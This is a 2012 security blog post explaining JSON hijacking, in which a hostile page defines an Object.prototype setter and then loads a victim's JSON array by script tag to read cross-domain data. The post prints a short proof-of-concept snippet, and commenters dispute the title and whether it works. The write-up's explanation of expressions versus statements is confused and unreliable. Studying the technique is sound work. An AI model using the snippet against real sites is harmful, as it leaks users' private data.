Skip to main content

Data leakage in JSON

A web application is sending data in this format:

{"t":1,"p":1,"r":1,"rows":[{"i":0,"c":["n","H, C","A","5","T","n"]}]}

this is a valid JSON, before moving on lets understand an important concept:

1. Javscript expression
2. javascript statement

javscript expressions are not executed by javascript parser, but statements are:

for ex:

<script>

{"t":1,"p":1,"r":1,"rows":[{"i":0,"c":["n","H, C","A","5","T","n"]}]}

</script>

this will not be executed, that is, objects won't be created. The above example is for a javascript expression.

But now when it is converted into a statement as given below:

<script>

[{"t":1,"p":1,"r":1,"rows":[{"i":0,"c":["n","H, C","A","5","T","n"]}]}]

</script>


this gets executed.

The way to exploit this is by declaring a setter for one of the objects, for ex. "t":

<script>
Object.prototype.__defineSetter__("t",function(obj){alert(1);for(var i in obj) {alert(i + '=' + obj[i]);} });
</script>
<script> defer="defer" src="http://XXX.XXX.XXX.X/main"/> // this points to the json
</script>


Until now there is no known way of exploiting a java expression based JSON.

Another restriction on JSON based exploitation is that not many browsers support setters (__defineSetter__).


Comments

Anonymous said…
its "JSON" not jason ... javascript object notation
December 6, 2012 at 2:40 PM
Nilesh Kumar said…
@ Anonymous: Sorry, it was a typo! Thanks for noticing, I rectified it.
December 6, 2012 at 2:46 PM
Anonymous said…
The vulnerability does not look like XSS, it is data leakage, the example shown extracts data from JS object from different domain. The title is misleading.
December 6, 2012 at 6:09 PM
Anonymous said…
Are u going to change the heading?? it is not XSS???
December 7, 2012 at 4:27 PM
Anonymous said…
i agree with above comment, author should correct or explains what he meaning by this.
December 18, 2012 at 9:49 AM
Anonymous said…
The setter does not work with Firefox, is there any specific browser you tried this in? Can you provide any links where this function is better explained?
December 23, 2012 at 7:41 PM
Post a Comment

Popular posts from this blog

Using an AirPcap device in Windows with Wireshark

Capturing wireless traffic in a Windows environment is unfortunately not as easy as a setting change. As with most Windows-based software, drivers in Windows are often not open source and do not allow for configuration change into monitor mode. With this in mind, we must use a specialized piece of hardware known as an AirPcap device. Once you have obtained an AirPcap device you will be required to install the software on the accompanying CD to your analysis computer. The configurable options include: • Interface - Select the device you are using for your capture here. Some advanced analysis scenarios may require you to use more than one AirPcap device to sniff simultaneously on multiple channels. • Blink LED - Clicking this button will make the LED lights on the AirPcap device blink. This is primarily used to identify the specific adapter you are using if you are using multiple AirPcap devices. • Channel - In this field, you select the channel you want AirPcap to listen on. Extension C...
5 comments
Read more

Anti CSRF header

Recently I came across an application which was preventing crsf attacks using a unique non-traditional approach. In traditional approach the csrf is thwarted by embedding unique random tokens, called nonce, in each sensitive page. But this application, which was making ajax calls and used jQuery, was creating a header to identify the valid and invalid requests altogether. The idea is to generate a custom header, x-session-token in this case, with every request which is considered sensitive and includes any sort of transaction. For example: xhr.setRequestHeader('x-session-token', csrf_token)   At the server level, server checks for this header if found request is fulfilled, otherwise rejected. We need to use xhr calls for making use of this technique, not useful in regular POST and GET requests. Since, I was not aware of this kind of countermeasures, probably, since most of the applications I did were using standard requests. So, I searched a bit and found even Go...
4 comments
Read more

Some one watching where you visited!

Yes... Mozilla has been susceptible to browser-history stealing java script code. Today, Giorgio posted some cool information about the exploit. Mozilla is already working on this. This bug has been reported. Actually they have set up a web site to show the proof-of-concept. Visit www.statrpanic.com in FF,Safari or Netscape and it will tell you which websites have you been already ! But I am not sure it will work in IE or not because my IE is not responding to the website. Clearing history of visited website makes you safe to this attack. I mean this is one way..may be there are other ways to exploit this. But I have found this effective. Try it yourself in FF and then in IE and see the results.
Post a Comment
Read more